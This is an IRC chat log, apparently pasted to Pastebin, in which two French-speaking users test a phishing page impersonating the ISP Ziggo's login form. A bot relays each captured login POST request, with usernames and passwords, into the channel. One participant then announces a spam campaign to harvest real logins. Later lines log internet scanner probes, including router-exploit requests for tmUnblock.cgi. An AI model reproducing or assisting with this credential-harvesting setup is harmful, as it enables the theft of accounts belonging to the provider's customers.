Advertisement
Guest User

Untitled

a guest
Sep 17th, 2017
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 446.47 KB | None | 0 0
  1.  
  2. Session Start: Wed May 31 19:16:28 2017
  3. Session Ident: ##ss
  4. 03[19:16] * Now talking in ##ss
  5. [19:17] <independent> tien et maintenant ouvre la page
  6. [19:17] <independent> et entre un user et password
  7. 01[19:17] <mordos> ok att
  8. 03[19:19] * independent sets mode: +oo independent mordos
  9. 03[19:19] * independent sets mode: +h HTTP
  10. 03[19:20] * independent sets mode: +l 3
  11. [19:20] <%HTTP> 24.42.32.101:54682 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  12. [19:21] <@independent> ca la pas marcher minute je vais voir c koi le porblem
  13. 01[19:21] <@mordos> ok
  14. [19:22] <%HTTP> 173.177.202.40:54497 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  15. [19:27] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  16. [19:28] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  17. [19:28] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  18. [19:28] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  19. [19:28] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  20. [19:28] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  21. [19:28] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  22. [19:28] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  23. [19:28] <%HTTP> 173.177.202.40 Content-Length: 97
  24. [19:28] <%HTTP> 173.177.202.40 DNT: 1
  25. [19:28] <%HTTP> 173.177.202.40 Connection: keep-alive
  26. [19:28] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  27. [19:28] <%HTTP> 173.177.202.40
  28. [19:28] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  29. [19:28] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  30. [19:28] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  31. [19:28] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  32. [19:28] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  33. [19:28] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  34. [19:28] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  35. [19:28] <%HTTP> 173.177.202.40 Content-Length: 101
  36. [19:29] <%HTTP> 173.177.202.40 DNT: 1
  37. [19:29] <%HTTP> 173.177.202.40 Connection: keep-alive
  38. [19:29] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  39. [19:29] <%HTTP> 173.177.202.40
  40. [19:31] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  41. [19:31] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  42. [19:31] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  43. [19:31] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  44. [19:31] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  45. [19:31] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  46. [19:31] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  47. [19:31] <%HTTP> 173.177.202.40 Content-Length: 115
  48. [19:31] <%HTTP> 173.177.202.40 DNT: 1
  49. [19:31] <%HTTP> 173.177.202.40 Connection: keep-alive
  50. [19:31] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  51. [19:31] <%HTTP> 173.177.202.40
  52. [19:32] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  53. [19:32] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  54. [19:32] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  55. [19:32] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  56. [19:32] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  57. [19:32] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  58. [19:32] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  59. [19:32] <%HTTP> 173.177.202.40 Content-Length: 115
  60. [19:32] <%HTTP> 173.177.202.40 DNT: 1
  61. [19:32] <%HTTP> 173.177.202.40 Connection: keep-alive
  62. [19:32] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  63. [19:32] <%HTTP> 173.177.202.40
  64. [19:34] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  65. [19:34] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  66. [19:34] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  67. [19:34] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  68. [19:34] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  69. [19:34] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  70. [19:34] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  71. [19:34] <%HTTP> 173.177.202.40 Content-Length: 119
  72. [19:34] <%HTTP> 173.177.202.40 DNT: 1
  73. [19:34] <%HTTP> 173.177.202.40 Connection: keep-alive
  74. [19:34] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  75. [19:34] <%HTTP> 173.177.202.40
  76. [19:35] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  77. [19:35] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  78. [19:35] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  79. [19:35] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  80. [19:35] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  81. [19:35] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  82. [19:35] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  83. [19:35] <%HTTP> 173.177.202.40 Content-Length: 113
  84. [19:35] <%HTTP> 173.177.202.40 DNT: 1
  85. [19:35] <%HTTP> 173.177.202.40 Connection: keep-alive
  86. [19:35] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  87. [19:35] <%HTTP> 173.177.202.40
  88. [19:35] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  89. [19:35] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  90. [19:35] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  91. [19:35] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  92. [19:35] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  93. [19:35] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  94. [19:35] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  95. [19:35] <%HTTP> 173.177.202.40 Content-Length: 113
  96. [19:35] <%HTTP> 173.177.202.40 DNT: 1
  97. [19:35] <%HTTP> 173.177.202.40 Connection: keep-alive
  98. [19:35] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  99. [19:35] <%HTTP> 173.177.202.40
  100. [19:36] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  101. [19:36] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  102. [19:36] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  103. [19:36] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  104. [19:36] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  105. [19:36] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  106. [19:36] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  107. [19:36] <%HTTP> 173.177.202.40 Content-Length: 113
  108. [19:36] <%HTTP> 173.177.202.40 DNT: 1
  109. [19:36] <%HTTP> 173.177.202.40 Connection: keep-alive
  110. [19:36] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  111. [19:36] <%HTTP> 173.177.202.40
  112. [19:36] <%HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  113. [19:36] <%HTTP> 173.177.202.40 Host: ziggo.nl.hacked.jp
  114. [19:36] <%HTTP> 173.177.202.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  115. [19:36] <%HTTP> 173.177.202.40 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  116. [19:36] <%HTTP> 173.177.202.40 Accept-Language: en-US,en;q=0.5
  117. [19:36] <%HTTP> 173.177.202.40 Accept-Encoding: gzip, deflate
  118. [19:36] <%HTTP> 173.177.202.40 Content-Type: application/x-www-form-urlencoded
  119. [19:36] <%HTTP> 173.177.202.40 Content-Length: 113
  120. [19:36] <%HTTP> 173.177.202.40 DNT: 1
  121. [19:36] <%HTTP> 173.177.202.40 Connection: keep-alive
  122. [19:36] <%HTTP> 173.177.202.40 Upgrade-Insecure-Requests: 1
  123. [19:36] <%HTTP> 173.177.202.40
  124. [19:37] <%HTTP> /clear
  125. [19:38] <%HTTP> 173.177.202.40
  126. [19:38] <%HTTP> 173.177.202.40
  127. [19:38] <%HTTP> 173.177.202.40
  128. [19:38] <%HTTP> 173.177.202.40
  129. [19:38] <%HTTP> 173.177.202.40
  130. [19:38] <%HTTP> 173.177.202.40
  131. [19:38] <%HTTP> 173.177.202.40
  132. [19:38] <%HTTP> 173.177.202.40
  133. [19:38] <%HTTP> 173.177.202.40
  134. [19:38] <%HTTP> 173.177.202.40
  135. [19:38] <%HTTP> 173.177.202.40
  136. [19:38] <%HTTP> 173.177.202.40
  137. [19:38] <%HTTP> 173.177.202.40
  138. [19:38] <%HTTP> 173.177.202.40
  139. [19:38] <%HTTP> 173.177.202.40
  140. [19:38] <%HTTP> 173.177.202.40
  141. [19:38] <%HTTP> 173.177.202.40
  142. [19:38] <%HTTP> 173.177.202.40
  143. [19:38] <%HTTP> 173.177.202.40
  144. [19:38] <%HTTP> 173.177.202.40
  145. [19:38] <%HTTP> 173.177.202.40
  146. [19:38] <%HTTP> 173.177.202.40
  147. [19:38] <%HTTP> 173.177.202.40
  148. [19:38] <%HTTP> 173.177.202.40
  149. [19:40] <%HTTP> 180.234.146.155
  150. [19:40] <%HTTP> 180.234.146.155
  151. [19:40] <%HTTP> 180.234.146.155
  152. [19:40] <%HTTP> 180.234.146.155
  153. [19:40] <%HTTP> 180.234.146.155
  154. [19:40] <%HTTP> 180.234.146.155
  155. [19:40] <%HTTP> 180.234.146.155
  156. [19:40] <%HTTP> 180.234.146.155
  157. [19:40] <%HTTP> 180.234.146.155
  158. [19:40] <%HTTP> 180.234.146.155
  159. [19:40] <%HTTP> 180.234.146.155
  160. [19:40] <%HTTP> 180.234.146.155
  161. [19:40] <%HTTP> 180.234.146.155
  162. [19:40] <%HTTP> 180.234.146.155
  163. 02[19:42] * %HTTP (HTTP@home-unix-ABB827D) Quit (Read error)
  164. 03[19:42] * HTTP (HTTP@home-unix-ABB827D) has joined ##ss
  165. [19:45] <HTTP> 173.177.202.40
  166. [19:45] <HTTP> 173.177.202.40
  167. [19:45] <HTTP> 173.177.202.40
  168. [19:45] <HTTP> 173.177.202.40
  169. [19:45] <HTTP> 173.177.202.40
  170. [19:45] <HTTP> 173.177.202.40
  171. [19:45] <HTTP> 173.177.202.40
  172. [19:45] <HTTP> 173.177.202.40
  173. [19:45] <HTTP> 173.177.202.40
  174. [19:45] <HTTP> 173.177.202.40
  175. [19:45] <HTTP> 173.177.202.40
  176. [19:45] <HTTP> 173.177.202.40
  177. [19:45] <HTTP> 173.177.202.40
  178. [19:45] <HTTP> 173.177.202.40
  179. [19:45] <HTTP> 173.177.202.40
  180. [19:45] <HTTP> 173.177.202.40
  181. [19:45] <HTTP> 173.177.202.40
  182. [19:45] <HTTP> 173.177.202.40
  183. [19:45] <HTTP> 173.177.202.40
  184. [19:45] <HTTP> 173.177.202.40
  185. [19:45] <HTTP> 173.177.202.40
  186. [19:45] <HTTP> 173.177.202.40
  187. [19:45] <HTTP> 173.177.202.40
  188. [19:45] <HTTP> 173.177.202.40
  189. [19:47] <HTTP> 173.177.202.40 0
  190. [19:47] <HTTP> 173.177.202.40 0
  191. [19:47] <HTTP> 173.177.202.40 0
  192. [19:47] <HTTP> 173.177.202.40 0
  193. [19:47] <HTTP> 173.177.202.40 0
  194. [19:47] <HTTP> 173.177.202.40 0
  195. [19:47] <HTTP> 173.177.202.40 0
  196. [19:47] <HTTP> 173.177.202.40 0
  197. [19:47] <HTTP> 173.177.202.40 0
  198. [19:47] <HTTP> 173.177.202.40 0
  199. [19:47] <HTTP> 173.177.202.40 0
  200. [19:47] <HTTP> 173.177.202.40
  201. [19:47] <HTTP> 173.177.202.40 0
  202. [19:47] <HTTP> 173.177.202.40 0
  203. [19:47] <HTTP> 173.177.202.40 0
  204. [19:47] <HTTP> 173.177.202.40 0
  205. [19:47] <HTTP> 173.177.202.40 0
  206. [19:47] <HTTP> 173.177.202.40 0
  207. [19:47] <HTTP> 173.177.202.40 0
  208. [19:47] <HTTP> 173.177.202.40 0
  209. [19:47] <HTTP> 173.177.202.40 0
  210. [19:47] <HTTP> 173.177.202.40 0
  211. [19:47] <HTTP> 173.177.202.40 0
  212. [19:47] <HTTP> 173.177.202.40
  213. [19:49] <HTTP> 173.177.202.40
  214. [19:49] <HTTP> 173.177.202.40
  215. [19:49] <HTTP> 173.177.202.40
  216. [19:49] <HTTP> 173.177.202.40
  217. [19:49] <HTTP> 173.177.202.40
  218. [19:49] <HTTP> 173.177.202.40
  219. [19:49] <HTTP> 173.177.202.40
  220. [19:49] <HTTP> 173.177.202.40
  221. [19:49] <HTTP> 173.177.202.40
  222. [19:49] <HTTP> 173.177.202.40
  223. [19:49] <HTTP> 173.177.202.40
  224. [19:49] <HTTP> 173.177.202.40
  225. [19:50] <HTTP> 173.177.202.40
  226. [19:50] <HTTP> 173.177.202.40
  227. [19:50] <HTTP> 173.177.202.40
  228. [19:50] <HTTP> 173.177.202.40
  229. [19:50] <HTTP> 173.177.202.40
  230. [19:50] <HTTP> 173.177.202.40
  231. [19:50] <HTTP> 173.177.202.40
  232. [19:50] <HTTP> 173.177.202.40
  233. [19:50] <HTTP> 173.177.202.40
  234. [19:50] <HTTP> 173.177.202.40
  235. [19:50] <HTTP> 173.177.202.40
  236. [19:50] <HTTP> 173.177.202.40
  237. [19:50] <HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  238. [19:54] <HTTP> 173.177.202.40 POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  239. [20:10] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  240. [20:10] <HTTP> Host: ziggo.nl.hacked.jp
  241. [20:10] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  242. [20:10] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  243. [20:10] <HTTP> Accept-Language: en-US,en;q=0.5
  244. [20:10] <HTTP> Accept-Encoding: gzip, deflate
  245. [20:10] <HTTP> Content-Type: application/x-www-form-urlencoded
  246. [20:10] <HTTP> Content-Length: 94
  247. [20:10] <HTTP> DNT: 1
  248. [20:10] <HTTP> Connection: keep-alive
  249. [20:10] <HTTP> Upgrade-Insecure-Requests: 1
  250. [20:10] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=chk+&userId=chk+&password=this&button=
  251. [20:14] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  252. [20:14] <HTTP> Host: ziggo.nl.hacked.jp
  253. [20:14] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  254. [20:14] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  255. [20:14] <HTTP> Accept-Language: en-US,en;q=0.5
  256. [20:14] <HTTP> Accept-Encoding: gzip, deflate
  257. [20:14] <HTTP> Content-Type: application/x-www-form-urlencoded
  258. [20:14] <HTTP> Content-Length: 94
  259. [20:14] <HTTP> DNT: 1
  260. [20:14] <HTTP> Connection: keep-alive
  261. [20:14] <HTTP> Upgrade-Insecure-Requests: 1
  262. [20:14] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=chk+&userId=chk+&password=this&button=24.42.32.101 &spam
  263. 01[20:14] <@mordos> RIEN ?
  264. [20:15] <@independent> source=AEM&target=IAM&URL=&login-form-type=pwd&username=chk+&userId=chk+&password=this&button=24.42.32.101 &spam
  265. [20:15] <@independent> &username=chk+&userId=chk+&password=this&
  266. [20:18] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  267. [20:18] <HTTP> Host: ziggo.nl.hacked.jp
  268. [20:18] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  269. [20:18] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  270. [20:18] <HTTP> Accept-Language: en-US,en;q=0.5
  271. [20:18] <HTTP> Accept-Encoding: gzip, deflate
  272. [20:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  273. [20:18] <HTTP> Content-Length: 94
  274. [20:18] <HTTP> DNT: 1
  275. [20:18] <HTTP> Connection: keep-alive
  276. [20:18] <HTTP> Upgrade-Insecure-Requests: 1
  277. [20:18] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=chk+&userId=chk+&password=this&button=24.42.32.101 &spam173.177.202.40 &spam
  278. [20:18] <@independent> wtf
  279. 01[20:20] <@mordos> tu peu faire fichier php
  280. [20:20] <HTTP> Socket initiated: 173.177.202.40
  281. [20:21] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  282. [20:21] <HTTP> Host: ziggo.nl.hacked.jp
  283. [20:21] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
  284. [20:21] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  285. [20:21] <HTTP> Accept-Language: en-US,en;q=0.5
  286. [20:21] <HTTP> Accept-Encoding: gzip, deflate
  287. [20:21] <HTTP> Content-Type: application/x-www-form-urlencoded
  288. [20:21] <HTTP> Content-Length: 131
  289. [20:21] <HTTP> DNT: 1
  290. [20:21] <HTTP> Connection: keep-alive
  291. [20:21] <HTTP> Upgrade-Insecure-Requests: 1
  292. [20:21] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=thisisworkingnow&userId=thisisworkingnow&password=WORKS%21%21%21%21&button=
  293. [20:21] <@independent> ca marche
  294. [20:22] <@independent> test encorr
  295. [20:22] <@independent> toi meme
  296. [20:22] <HTTP> Socket initiated: 24.42.32.101
  297. [20:22] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  298. [20:22] <HTTP> Host: ziggo.nl.hacked.jp
  299. [20:22] <HTTP> Connection: keep-alive
  300. [20:22] <HTTP> Content-Length: 100
  301. [20:22] <HTTP> Cache-Control: max-age=0
  302. [20:22] <HTTP> Origin: null
  303. [20:22] <HTTP> Upgrade-Insecure-Requests: 1
  304. [20:22] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  305. [20:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  306. [20:22] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  307. [20:22] <HTTP> Accept-Encoding: gzip, deflate
  308. [20:23] <HTTP> Accept-Language: en-US,en;q=0.8
  309. [20:23] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=111111&userId=111111&password=222222&button=
  310. 01[20:23] <@mordos> AFICHE MOI JUST USER ET PASS
  311. 01[20:23] <@mordos> DANS RESULTAT
  312. [20:23] <@independent> jpeux pas
  313. [20:23] <@independent> jai essayer
  314. 01[20:23] <@mordos> DACCORD DEMAIN MATIN
  315. 01[20:24] <@mordos> JE VAIS SPAMER
  316. 01[20:24] <@mordos> ET AVOIR DE LOGIN
  317. [20:51] <@independent> tes la encore?
  318. [21:23] <HTTP> Socket initiated: 91.230.47.3
  319. [21:23] <HTTP> GET / HTTP/1.0
  320. [21:23] <HTTP> Connection: close
  321. [22:28] <HTTP> Socket initiated: 91.230.47.3
  322. [22:28] <HTTP> GET / HTTP/1.0
  323. [22:28] <HTTP> Connection: close
  324. [23:29] <HTTP> Socket initiated: 169.53.184.23
  325. [23:29] <HTTP> GET / HTTP/1.0
  326. [23:29] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
  327. [23:29] <HTTP> Accept: */*
  328. Session Time: Thu Jun 01 00:00:00 2017
  329. [00:51] <HTTP> Socket initiated: 91.230.47.3
  330. [00:51] <HTTP> GET / HTTP/1.0
  331. [00:51] <HTTP> Connection: close
  332. [01:54] <HTTP> Socket initiated: 91.230.47.3
  333. [01:54] <HTTP> GET / HTTP/1.0
  334. [01:54] <HTTP> Connection: close
  335. [02:45] <HTTP> Socket initiated: 190.181.64.234
  336. [02:45] <HTTP> GET / HTTP/1.1
  337. [02:45] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  338. [02:45] <HTTP> Host: 172.86.120.218
  339. [02:45] <HTTP> Accept: */*
  340. [04:24] <HTTP> Socket initiated: 91.230.47.3
  341. [04:24] <HTTP> GET / HTTP/1.0
  342. [04:24] <HTTP> Connection: close
  343. [05:26] <HTTP> Socket initiated: 91.230.47.3
  344. [05:26] <HTTP> GET / HTTP/1.0
  345. [05:26] <HTTP> Connection: close
  346. [06:42] <HTTP> Socket initiated: 222.186.31.153
  347. [06:42] <HTTP> GET / HTTP/1.1
  348. [06:42] <HTTP> Host: www.lwxs520.com
  349. [07:01] <HTTP> Socket initiated: 183.129.160.229
  350. [07:01] <HTTP> GET / HTTP/1.1
  351. [07:01] <HTTP> HOST: 172.86.120.218
  352. [07:01] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  353. [07:01] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  354. [07:01] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  355. [07:01] <HTTP> Accept-Encoding: deflate
  356. [07:01] <HTTP> Connection: keep-alive
  357. [07:47] <HTTP> Socket initiated: 91.230.47.3
  358. [07:47] <HTTP> GET / HTTP/1.0
  359. [07:47] <HTTP> Connection: close
  360. [08:51] <HTTP> Socket initiated: 91.230.47.3
  361. [08:51] <HTTP> GET / HTTP/1.0
  362. [08:51] <HTTP> Connection: close
  363. [09:37] <HTTP> Socket initiated: 46.209.210.18
  364. [09:37] <HTTP> OPTIONS /ipc$ HTTP/1.1
  365. [09:37] <HTTP> Connection: Keep-Alive
  366. [09:37] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  367. [09:37] <HTTP> translate: f
  368. [09:37] <HTTP> Host: 172.86.120.218
  369. [09:38] <HTTP> Socket initiated: 46.209.210.18
  370. [09:38] <HTTP> OPTIONS /ipc$ HTTP/1.1
  371. [09:38] <HTTP> Connection: Keep-Alive
  372. [09:38] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  373. [09:38] <HTTP> translate: f
  374. [09:39] <HTTP> Host: 172.86.120.218
  375. [10:42] <HTTP> Socket initiated: 46.209.210.18
  376. [10:42] <HTTP> OPTIONS /ipc$ HTTP/1.1
  377. [10:42] <HTTP> Connection: Keep-Alive
  378. [10:42] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  379. [10:42] <HTTP> translate: f
  380. [10:42] <HTTP> Host: 172.86.120.218
  381. [10:43] <HTTP> Socket initiated: 46.209.210.18
  382. [10:43] <HTTP> OPTIONS /ipc$ HTTP/1.1
  383. [10:43] <HTTP> Connection: Keep-Alive
  384. [10:43] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  385. [10:43] <HTTP> translate: f
  386. [10:43] <HTTP> Host: 172.86.120.218
  387. [11:13] <HTTP> Socket initiated: 91.230.47.3
  388. [11:13] <HTTP> GET / HTTP/1.0
  389. [11:13] <HTTP> Connection: close
  390. [12:13] <HTTP> Socket initiated: 179.158.184.159
  391. [12:13] <HTTP> Socket initiated: 179.158.184.159
  392. [12:13] <HTTP> GET /hndUnblock.cgi HTTP/1.1
  393. [12:13] <HTTP> Socket initiated: 179.158.184.159
  394. [12:13] <HTTP> Accept: */*
  395. [12:13] <HTTP> Host: 172.86.120.218
  396. [12:13] <HTTP> User-Agent: Wget(linux)
  397. [12:13] <HTTP> Socket initiated: 179.158.184.159
  398. [12:13] <HTTP> GET /tmUnblock.cgi HTTP/1.1
  399. [12:13] <HTTP> Accept: */*
  400. [12:13] <HTTP> Host: 172.86.120.218
  401. [12:13] <HTTP> User-Agent: Wget(linux)
  402. [12:13] <HTTP> CONNECT google.com:80 HTTP/1.1
  403. [12:13] <HTTP> Accept: */*
  404. [12:13] <HTTP> Host: google.com:80
  405. [12:13] <HTTP> User-Agent: Wget(linux)
  406. [12:13] <HTTP> GET http://google.com:80/ HTTP/1.1
  407. [12:13] <HTTP> Accept: */*
  408. [12:13] <HTTP> Host: google.com:80
  409. [12:13] <HTTP> User-Agent: Wget(linux)
  410. [12:18] <HTTP> Socket initiated: 91.230.47.3
  411. [12:18] <HTTP> GET / HTTP/1.0
  412. [12:18] <HTTP> Connection: close
  413. 03[12:57] * toor (localhost@home-unix-629FF1D1.mc.videotron.ca) has joined ##ss
  414. [13:15] <HTTP> Socket initiated: 46.209.210.18
  415. [13:15] <HTTP> OPTIONS /ipc$ HTTP/1.1
  416. [13:15] <HTTP> Connection: Keep-Alive
  417. [13:15] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  418. [13:15] <HTTP> translate: f
  419. [13:15] <HTTP> Host: 172.86.120.218
  420. [13:16] <HTTP> Socket initiated: 46.209.210.18
  421. [13:16] <HTTP> OPTIONS /ipc$ HTTP/1.1
  422. [13:16] <HTTP> Connection: Keep-Alive
  423. [13:16] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  424. [13:16] <HTTP> translate: f
  425. [13:16] <HTTP> Host: 172.86.120.218
  426. 02[14:05] * toor (localhost@Owner.home-unix.com) Quit (Read error)
  427. [14:36] <HTTP> Socket initiated: 183.129.160.229
  428. [14:36] <HTTP> GET / HTTP/1.1
  429. [14:36] <HTTP> HOST: 172.86.120.218
  430. [14:36] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  431. [14:36] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  432. [14:36] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  433. [14:36] <HTTP> Accept-Encoding: deflate
  434. [14:36] <HTTP> Connection: keep-alive
  435. [14:41] <HTTP> Socket initiated: 91.230.47.3
  436. [14:41] <HTTP> GET / HTTP/1.0
  437. [14:41] <HTTP> Connection: close
  438. [15:45] <HTTP> Socket initiated: 91.230.47.3
  439. [15:45] <HTTP> GET / HTTP/1.0
  440. [15:45] <HTTP> Connection: close
  441. [15:55] <HTTP> Socket initiated: 46.209.210.18
  442. [15:55] <HTTP> OPTIONS /ipc$ HTTP/1.1
  443. [15:55] <HTTP> Connection: Keep-Alive
  444. [15:55] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  445. [15:55] <HTTP> translate: f
  446. [15:55] <HTTP> Host: 172.86.120.218
  447. [15:56] <HTTP> Socket initiated: 46.209.210.18
  448. [15:56] <HTTP> OPTIONS /ipc$ HTTP/1.1
